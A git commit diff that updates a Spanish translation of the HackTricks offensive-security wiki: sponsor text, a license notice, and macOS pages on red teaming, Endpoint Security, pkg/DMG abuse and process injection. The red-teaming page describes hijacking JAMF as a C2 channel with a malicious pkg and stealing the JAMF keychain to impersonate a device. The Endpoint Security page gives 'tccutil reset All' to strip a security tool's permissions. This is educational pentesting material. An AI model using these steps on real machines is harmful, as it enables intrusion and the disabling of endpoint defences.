Translated ['README.md', 'macos-hardening/macos-red-teaming/README.md',

This commit is contained in:
Translator 2023-06-25 23:32:46 +00:00
parent b1be7d46be
commit 387c9cfef3
16 changed files with 680 additions and 668 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 31 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 31 KiB

After

Width:  |  Height:  |  Size: 129 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 129 KiB

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 44 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 44 KiB

After

Width:  |  Height:  |  Size: 84 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 84 KiB

After

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 28 KiB

After

Width:  |  Height:  |  Size: 84 KiB

View File

@ -1,6 +1,6 @@
---
description: >-
Bienvenido a la wiki donde encontrarás cada truco/técnica/herramienta de hacking que he aprendido de CTFs, aplicaciones de la vida real, lectura de investigaciones y noticias.
Bienvenido a la wiki donde encontrarás cada truco/técnica/herramienta de hacking que he aprendido de CTFs, aplicaciones de la vida real, investigaciones y noticias.
---
# HackTricks
@ -10,7 +10,7 @@ description: >-
_Logos y diseño de movimiento de Hacktricks por_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
{% hint style="info" %}
**Bienvenido a la wiki donde encontrarás cada truco/técnica/herramienta de hacking que he aprendido de CTFs, aplicaciones de la vida real, lectura de investigaciones y noticias.**
**Bienvenido a la wiki donde encontrarás cada truco/técnica/herramienta de hacking que he aprendido de CTFs, aplicaciones de la vida real, investigaciones y noticias.**
{% endhint %}
Aquí puedes encontrar una pequeña **introducción:**
@ -19,7 +19,7 @@ Aquí puedes encontrar una pequeña **introducción:**
Aquí encontrarás el **flujo típico** que **deberías seguir al hacer pentesting** en una o más **máquinas**.
**¡Haz clic en el título para empezar!**
**Haz clic en el título para empezar!**
## Patrocinadores Corporativos
@ -35,7 +35,7 @@ Puedes revisar su **blog** en [**https://blog.stmcyber.com**](https://blog.stmcy
### [RootedCON](https://www.rootedcon.com/)
<figure><img src=".gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
<figure><img src=".gitbook/assets/image (1) (3) (3).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro hirviente para los profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
@ -45,9 +45,9 @@ Puedes revisar su **blog** en [**https://blog.stmcyber.com**](https://blog.stmcy
![](.gitbook/assets/i3.png)
**Intigriti** es la plataforma de **bug bounty #1 de Europa** y de **hacking ético.**
**Intigriti** es la plataforma de **bug bounty #1** de Europa y de **hacking ético.**
Consejo de bug bounty: **regístrate** en **Intigriti**, una plataforma premium de **bug bounty creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comienza a ganar recompensas de hasta **$100,000**!
Consejo de bug bounty: **regístrate** en **Intigriti**, una plataforma premium de **bug bounty creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo, ¡y comienza a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
@ -66,7 +66,7 @@ Obtén acceso hoy:
<figure><img src=".gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
[Sigue a HackenProof](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
[Sigue a HackenProof](https://bit.ly/3xrrDrL) **para aprender más sobre los errores web3**
🐞 Lee tutoriales de errores web3
@ -80,4 +80,68 @@ Obtén acceso hoy:
<figure><img src=".gitbook/assets/logo.svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl) es una empresa profesional de ciberseguridad con sede en **Ámsterdam** que ayuda a **proteger** a las empresas **de todo el mundo** contra las últimas amenazas de ciberseguridad proporcionando servicios de **seg
[**WebSec**](https://websec.nl) es una empresa profesional de ciberseguridad con sede en **Ámsterdam** que ayuda a **proteger** a las empresas **de todo el mundo** contra las últimas amenazas de ciberseguridad proporcionando servicios de **seguridad ofensiva** con un enfoque **moderno**.
WebSec es una **empresa de seguridad todo en uno**, lo que significa que lo hacen todo; Pentesting, Auditorías de **Seguridad**, Entrenamientos de Conciencia, Campañas de Phishing, Revisión de Código, Desarrollo de Exploits, Outsourcing de Expertos en Seguridad y mucho más.
Otra cosa genial de WebSec es que, a diferencia del promedio de la industria, WebSec tiene **mucha confianza en sus habilidades**, hasta tal punto que **garantizan los mejores resultados de calidad**, lo que se indica en su sitio web "**Si no podemos hackearlo, ¡no lo pagas!**". Para obtener más información, echa un vistazo a su [**sitio web**](https://websec.nl/en/) y [**blog**](https://websec.nl/blog/)!
Además de lo anterior, WebSec también es un **apoyo comprometido de HackTricks.**
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
### [DragonJAR](https://www.dragonjar.org/)
<figure><img src=".gitbook/assets/image (1) (1) (2) (4) (1).png" alt=""><figcaption></figcaption></figure>
[**DragonJAR es una empresa líder en ciberseguridad ofensiva**](https://www.dragonjar.org/) **ubicada en Colombia**, DragonJAR ofrece [servicios integrales de seguridad informática ofensiva, como **pentesting**](https://www.dragonjar.org/servicios-de-seguridad-informatica) en diversas áreas y prácticamente **cualquier tecnología**, simulaciones de ataque **Red Team**, pruebas de seguridad **física**, **pruebas de estrés**, ingeniería social, revisión de seguridad en **código fuente** y capacitación en seguridad informática. Asimismo, organiza la **DragonJAR Security Conference**, [un congreso internacional de seguridad informática](https://www.dragonjarcon.org/) que se ha realizado durante más de una década, convirtiéndose en el escaparate para las últimas investigaciones de seguridad en español y de gran relevancia en la región.
### [SYN CUBES](https://www.syncubes.com/)
<figure><img src=".gitbook/assets/image (10) (2) (1).png" alt=""><figcaption></figcaption></figure>
La plataforma **Security Skills as a Service** de SYN CUBES cubre la brecha actual de habilidades combinando **talento global de seguridad ofensiva con automatización inteligente**, proporcionando datos en tiempo real que necesita para tomar decisiones informadas.
{% embed url="https://www.syncubes.com/" %}
### [HACK THE BOX](https://www.hackthebox.com/)
<figure><img src=".gitbook/assets/image (2) (2).png" alt=""><figcaption></figcaption></figure>
Hack The Box es una plataforma en línea diseñada para facilitar **el aprendizaje y el avance en el campo de la ciberseguridad**. Proporcionando una variedad de escenarios de la vida real en un entorno seguro y controlado, Hack The Box permite a los usuarios probar y mejorar sus habilidades en pruebas de penetración y hacking ético.
La plataforma cuenta con una variedad de desafíos de diferentes niveles de dificultad, que cubren diferentes aspectos de la ciberseguridad. Los usuarios pueden participar en **competiciones virtuales de Capture The Flag (CTF)**, resolver problemas individuales e incluso acceder a una gran cantidad de recursos educativos.
Hack The Box sirve a una audiencia diversa, desde **principiantes dando sus primeros pasos** en el mundo de la ciberseguridad, hasta **profesionales experimentados** que buscan refinar y actualizar sus conocimientos. Su combinación única de desafío, aprendizaje e interacción comunitaria lo convierte en un recurso invaluable para aquellos interesados en la ciberseguridad.
{% embed url="https://www.hackthebox.com/" %}
## Licencia
**Derechos de autor © Carlos Polop 2023. Excepto donde se especifique lo contrario (la información externa copiada en el libro pertenece a los autores originales), el texto en** [**HACK TRICKS**](https://github.com/carlospolop/hacktricks) **de Carlos Polop está bajo licencia de** [**Atribución-NoComercial 4.0 Internacional (CC BY-NC 4.0)**](https://creativecommons.org/licenses/by-nc/4.0/)**.**\
**Si desea utilizarlo con fines comerciales, contácteme.**
## **Descargo de responsabilidad**
{% hint style="danger" %}
Este libro, 'HackTricks', está destinado únicamente a fines educativos e informativos. El contenido de este libro se proporciona "tal cual", y los autores y editores no hacen ninguna representación o garantía de ningún tipo, expresa o implícita, sobre la integridad, precisión, confiabilidad, idoneidad o disponibilidad de la información, productos, servicios o gráficos relacionados contenidos en este libro. Cualquier confianza que deposite en dicha información es, por lo tanto, estrictamente bajo su propio riesgo.
Los autores y editores no serán responsables en ningún caso por ninguna pérdida o daño, incluidos, entre otros, la pérdida o el daño indirecto o consecuente, o cualquier pérdida o daño que surja de la pérdida de datos o ganancias que surjan de, o en conexión con, el uso de este libro.
Además, las técnicas y consejos descritos en este libro se proporcionan únicamente con fines educativos e informativos, y no deben utilizarse para actividades ilegales o maliciosas. Los autores y editores no aprueban ni respaldan ninguna actividad ilegal o poco ética, y cualquier uso de la información contenida en este libro es bajo su propio riesgo y discreción.
El usuario es el único responsable de cualquier acción tomada en función de la información contenida en este libro, y siempre debe buscar asesoramiento y asistencia profesional al intentar implementar cualquiera de las técnicas o consejos descritos en él.
Al utilizar este libro, el usuario acepta liberar a los autores y editores de cualquier responsabilidad y responsabilidad por cualquier daño, pérdida o daño que pueda resultar del uso de este libro o de cualquiera de la información contenida en él.
{% endhint %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenga el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparta sus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -163,6 +163,7 @@
* [macOS XPC Authorization](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/macos-xpc-authorization.md)
* [macOS Electron Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md)
* [macOS Function Hooking](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md)
* [macOS .Net Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md)
* [macOS Library Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md)
* [macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES](macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
* [macOS Security Protections](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/README.md)

View File

@ -68,17 +68,17 @@ Este archivo básicamente contiene la URL:
plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
[...]
<key>is_virtual_machine</key>
<false/>
<key>jss_url</key>
<string>https://halbornasd.jamfcloud.com/</string>
<key>last_management_framework_change_id</key>
<integer>4</integer>
<key>is_virtual_machine</key>
<false/>
<key>jss_url</key>
<string>https://halbornasd.jamfcloud.com/</string>
<key>last_management_framework_change_id</key>
<integer>4</integer>
[...]
```
{% endcode %}
Entonces, un atacante podría dejar caer un paquete malicioso (`pkg`) que **sobrescribe este archivo** cuando se instala estableciendo la **URL a un escucha de Mythic C2 desde un agente Typhon** para ahora poder abusar de JAMF como C2.
Por lo tanto, un atacante podría dejar caer un paquete malicioso (`pkg`) que **sobrescribe este archivo** cuando se instala, estableciendo la **URL en un escucha de Mythic C2 desde un agente de Typhon** para poder abusar de JAMF como C2.
```bash
# After changing the URL you could wait for it to be reloaded or execute:
sudo jamf policy -id 0
@ -94,7 +94,7 @@ Para **suplantar la comunicación** entre un dispositivo y JMF necesitas:
* El **UUID** del dispositivo: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
* El **llavero JAMF** de: `/Library/Application\ Support/Jamf/JAMF.keychain` que contiene el certificado del dispositivo
Con esta información, **crea una VM** con el **UUID** de hardware **robado** y con **SIP deshabilitado**, deja caer el **llavero JAMF,** **engancha** el agente de Jamf y roba su información.
Con esta información, **crea una VM** con el **UUID** de hardware **robado** y con **SIP deshabilitado**, deja caer el **llavero JAMF,** **engancha** el **agente** de Jamf y roba su información.
#### Robo de secretos
@ -130,13 +130,13 @@ En algunas ocasiones encontrarás que la **computadora MacOS está conectada a u
[pentesting-kerberos-88](../../network-services-pentesting/pentesting-kerberos-88/)
{% endcontent-ref %}
Alguna **herramienta local de MacOS** que también puede ayudarte es `dscl`:
Algunas **herramientas locales de MacOS** que también pueden ayudarte son `dscl`:
```bash
dscl "/Active Directory/[Domain]/All Domains" ls /
```
También hay algunas herramientas preparadas para MacOS para enumerar automáticamente el AD y jugar con Kerberos:
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound es una extensión de la herramienta de auditoría Bloodhound que permite recopilar e ingerir relaciones de Active Directory en hosts MacOS.
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound es una extensión de la herramienta de auditoría Bloodhound que permite recopilar e ingerir relaciones de Active Directory en hosts de MacOS.
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost es un proyecto Objective-C diseñado para interactuar con las APIs de Heimdal krb5 en macOS. El objetivo del proyecto es permitir una mejor prueba de seguridad en torno a Kerberos en dispositivos macOS utilizando APIs nativas sin requerir ningún otro marco o paquete en el objetivo.
* [**Orchard**](https://github.com/its-a-feature/Orchard): Herramienta de JavaScript para Automatización (JXA) para hacer enumeración de Active Directory.
@ -203,7 +203,7 @@ El red teaming en MacOS es diferente al red teaming regular de Windows, ya que n
Cuando se descarga un archivo en Safari, si es un archivo "seguro", se **abrirá automáticamente**. Así que, por ejemplo, si se **descarga un zip**, se descomprimirá automáticamente:
<figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
## Referencias

View File

@ -16,7 +16,7 @@
A diferencia de las extensiones del kernel, las **extensiones del sistema se ejecutan en el espacio de usuario** en lugar del espacio del kernel, lo que reduce el riesgo de un fallo del sistema debido al mal funcionamiento de la extensión.
<figure><img src="../../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
Existen tres tipos de extensiones del sistema: extensiones de **DriverKit**, extensiones de **red** y extensiones de **seguridad de punto final**.
@ -30,9 +30,9 @@ Las extensiones de red proporcionan la capacidad de personalizar los comportamie
* **Proxy de aplicación**: se utiliza para crear un cliente VPN que implementa un protocolo VPN personalizado orientado al flujo. Esto significa que maneja el tráfico de red en función de las conexiones (o flujos) en lugar de los paquetes individuales.
* **Túnel de paquetes**: se utiliza para crear un cliente VPN que implementa un protocolo VPN personalizado orientado a paquetes. Esto significa que maneja el tráfico de red en función de los paquetes individuales.
* **Filtrar datos**: se utiliza para filtrar "flujos" de red. Puede monitorear o modificar datos de red a nivel de flujo.
* **Filtrar paquetes**: se utiliza para filtrar paquetes de red individuales. Puede monitorear o modificar datos de red a nivel de paquete.
* **Proxy DNS**: se utiliza para crear un proveedor DNS personalizado. Se puede utilizar para monitorear o modificar solicitudes y respuestas de DNS.
* **Filtrar datos**: se utiliza para filtrar "flujos" de red. Puede monitorear o modificar los datos de red a nivel de flujo.
* **Filtrar paquetes**: se utiliza para filtrar paquetes de red individuales. Puede monitorear o modificar los datos de red a nivel de paquete.
* **Proxy DNS**: se utiliza para crear un proveedor DNS personalizado. Se puede utilizar para monitorear o modificar las solicitudes y respuestas de DNS.
## Marco de seguridad de punto final
@ -60,22 +60,21 @@ Los eventos que el marco de seguridad de punto final puede monitorear se clasifi
La **comunicación del espacio de usuario** con el marco de seguridad de punto final se realiza a través de la clase IOUserClient. Se utilizan dos subclases diferentes, según el tipo de llamante:
* **EndpointSecurityDriverClient**: requiere el permiso `com.apple.private.endpoint-security.manager`, que solo tiene el proceso del sistema `endpointsecurityd`.
* **EndpointSecurityExternalClient**: requiere el permiso `com.apple.developer.endpoint-security.client`. Esto lo utilizaría típicamente el software de seguridad de terceros que necesita interactuar con el marco de seguridad de punto final.
* **EndpointSecurityDriverClient**: requiere la concesión `com.apple.private.endpoint-security.manager`, que solo posee el proceso del sistema `endpointsecurityd`.
* **EndpointSecurityExternalClient**: requiere la concesión `com.apple.developer.endpoint-security.client`. Esto lo utilizaría típicamente el software de seguridad de terceros que necesita interactuar con el marco de seguridad de punto final.
Las extensiones del sistema de seguridad de punto final: **`libEndpointSecurity.dylib`** es la biblioteca C que utilizan las extensiones del sistema para comunicarse con el kernel. Esta biblioteca utiliza el I/O Kit (`IOKit`) para comunicarse con la extensión del kernel de seguridad de punto final.
**`endpointsecurityd`** es un demonio del sistema clave que participa en la gestión y el lanzamiento de extensiones del sistema de seguridad de punto final, especialmente durante el proceso de arranque temprano. Solo las extensiones del sistema marcadas con **`NSEndpointSecurityEarlyBoot`** en su archivo `Info.plist` reciben este tratamiento de arranque temprano.
**`endpointsecurityd`** es un demonio del sistema clave que participa en la gestión y el lanzamiento de extensiones del sistema de seguridad de punto final, especialmente durante el proceso de arranque temprano. **Solo las extensiones del sistema** marcadas con **`NSEndpointSecurityEarlyBoot`** en su archivo `Info.plist` reciben este tratamiento de arranque temprano.
Otro demonio del sistema, **`sysextd`**, **valida las extensiones del sistema** y las mueve a las ubicaciones del sistema adecuadas. Luego solicita al demonio relevante que cargue la extensión. El **`SystemExtensions.framework`** es responsable de activar y desactivar las extensiones del sistema.
## Saltándose ESF
## Saltando ESF
ESF es utilizado por herramientas de seguridad que intentarán detectar a un equipo rojo, por lo que cualquier información sobre cómo evitarlo suena interesante.
### CVE-2021-30965
La cosa es que la aplicación de seguridad necesita tener **permisos de acceso completo al disco**. Por lo tanto, si un atacante pudiera eliminar eso, podría evitar que el software se ejecute:
El problema es que la aplicación de seguridad necesita tener **permisos de acceso completo al disco**. Por lo tanto, si un atacante pudiera eliminar eso, podría evitar que el software se ejecute:
```bash
tccutil reset All
```

View File

@ -30,19 +30,19 @@ cpio -i < Scripts
```
## Información básica de DMG
Los archivos DMG, o imágenes de disco de Apple, son un formato de archivo utilizado por el sistema operativo macOS de Apple para imágenes de disco. Un archivo DMG es esencialmente una **imagen de disco montable** (contiene su propio sistema de archivos) que contiene datos de bloque sin procesar, generalmente comprimidos y a veces cifrados. Cuando abres un archivo DMG, macOS lo **monta como si fuera un disco físico**, lo que te permite acceder a su contenido.
Los archivos DMG, o Imágenes de Disco de Apple, son un formato de archivo utilizado por el sistema operativo macOS de Apple para imágenes de disco. Un archivo DMG es esencialmente una **imagen de disco montable** (contiene su propio sistema de archivos) que contiene datos de bloque sin procesar, generalmente comprimidos y a veces cifrados. Cuando abres un archivo DMG, macOS lo **monta como si fuera un disco físico**, lo que te permite acceder a su contenido.
### Jerarquía
<figure><img src="../../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (12) (2).png" alt=""><figcaption></figcaption></figure>
La jerarquía de un archivo DMG puede ser diferente según el contenido. Sin embargo, para los DMG de aplicaciones, generalmente sigue esta estructura:
* Nivel superior: este es la raíz de la imagen del disco. A menudo contiene la aplicación y posiblemente un enlace a la carpeta de Aplicaciones.
* Aplicación (.app): esta es la aplicación real. En macOS, una aplicación es típicamente un paquete que contiene muchos archivos y carpetas individuales que conforman la aplicación.
* Enlace de Aplicaciones: este es un acceso directo a la carpeta de Aplicaciones en macOS. El propósito de esto es hacer que sea fácil para ti instalar la aplicación. Puedes arrastrar el archivo .app a este acceso directo para instalar la aplicación.
* Aplicación (.app): esta es la aplicación real. En macOS, una aplicación es típicamente un paquete que contiene muchos archivos y carpetas individuales que conforman la aplicación.
* Enlace de Aplicaciones: este es un acceso directo a la carpeta de Aplicaciones en macOS. El propósito de esto es hacer que sea fácil para ti instalar la aplicación. Puedes arrastrar el archivo .app a este acceso directo para instalar la aplicación.
## Escalada de privilegios a través del abuso de pkg
## Escalada de privilegios mediante el abuso de pkg
### Ejecución desde directorios públicos

View File

@ -5,9 +5,10 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com).
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -26,7 +27,7 @@ La Inyección de Biblioteca es una técnica en la que un atacante **obliga a un
### Hooking de Funciones
El Hooking de Funciones implica **interceptar llamadas de función** o mensajes dentro de un código de software. Al enganchar funciones, un atacante puede **modificar el comportamiento** de un proceso, observar datos sensibles o incluso tomar el control sobre el flujo de ejecución.
El Hooking de Funciones implica **interceptar llamadas de función** o mensajes dentro del código de un software. Al enganchar funciones, un atacante puede **modificar el comportamiento** de un proceso, observar datos sensibles o incluso tomar el control sobre el flujo de ejecución.
{% content-ref url="../mac-os-architecture/macos-function-hooking.md" %}
[macos-function-hooking.md](../mac-os-architecture/macos-function-hooking.md)
@ -48,6 +49,14 @@ Las aplicaciones Electron ejecutadas con variables de entorno específicas podr
[macos-electron-applications-injection.md](macos-electron-applications-injection.md)
{% endcontent-ref %}
### Inyección de Aplicaciones .Net
Es posible inyectar código en aplicaciones .Net **abusando de la funcionalidad de depuración de .Net** (no protegida por las protecciones de macOS como el endurecimiento de tiempo de ejecución).
{% content-ref url="macos-.net-applications-injection.md" %}
[macos-.net-applications-injection.md](macos-.net-applications-injection.md)
{% endcontent-ref %}
## Detección
### Shield
@ -55,9 +64,9 @@ Las aplicaciones Electron ejecutadas con variables de entorno específicas podr
[**Shield**](https://theevilbit.github.io/shield/) ([**Github**](https://github.com/theevilbit/Shield)) es una aplicación de código abierto que puede **detectar y bloquear acciones de inyección de procesos**:
* Usando **Variables de Entorno**: Monitorizará la presencia de cualquiera de las siguientes variables de entorno: **`DYLD_INSERT_LIBRARIES`**, **`CFNETWORK_LIBRARY_PATH`**, **`RAWCAMERA_BUNDLE_PATH`** y **`ELECTRON_RUN_AS_NODE`**
* Usando llamadas de **`task_for_pid`**: Para encontrar cuando un proceso quiere obtener el **puerto de tarea de otro** lo que permite inyectar código en el proceso.
* Usando llamadas de **`task_for_pid`**: Para encontrar cuándo un proceso quiere obtener el **puerto de tarea de otro**, lo que permite inyectar código en el proceso.
* **Parámetros de aplicaciones Electron**: Alguien puede usar los argumentos de línea de comandos **`--inspect`**, **`--inspect-brk`** y **`--remote-debugging-port`** para iniciar una aplicación Electron en modo de depuración, y así inyectar código en ella.
* Usando **enlaces simbólicos** o **enlaces duros**: Típicamente el abuso más común es **colocar un enlace con nuestros privilegios de usuario**, y **apuntarlo a una ubicación de mayor privilegio**. La detección es muy simple tanto para enlaces duros como para enlaces simbólicos. Si el proceso que crea el enlace tiene un **nivel de privilegio diferente** al archivo de destino, creamos una **alerta**. Desafortunadamente, en el caso de los enlaces simbólicos, el bloqueo no es posible, ya que no tenemos información sobre el destino del enlace antes de su creación. Esta es una limitación del marco EndpointSecuriy de Apple.
* Usando **enlaces simbólicos** o **enlaces duros**: Típicamente el abuso más común es **colocar un enlace con nuestros privilegios de usuario**, y **apuntarlo a una ubicación de mayor privilegio**. La detección es muy simple tanto para enlaces duros como para enlaces simbólicos. Si el proceso que crea el enlace tiene un **nivel de privilegio diferente** al del archivo de destino, creamos una **alerta**. Desafortunadamente, en el caso de los enlaces simbólicos, el bloqueo no es posible, ya que no tenemos información sobre el destino del enlace antes de su creación. Esta es una limitación del marco EndpointSecurity de Apple.
## Referencias
@ -69,7 +78,10 @@ Las aplicaciones Electron ejecutadas con variables de entorno específicas podr
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com).
</details>
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View File

@ -0,0 +1,198 @@
## Inyección de aplicaciones .Net en macOS
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
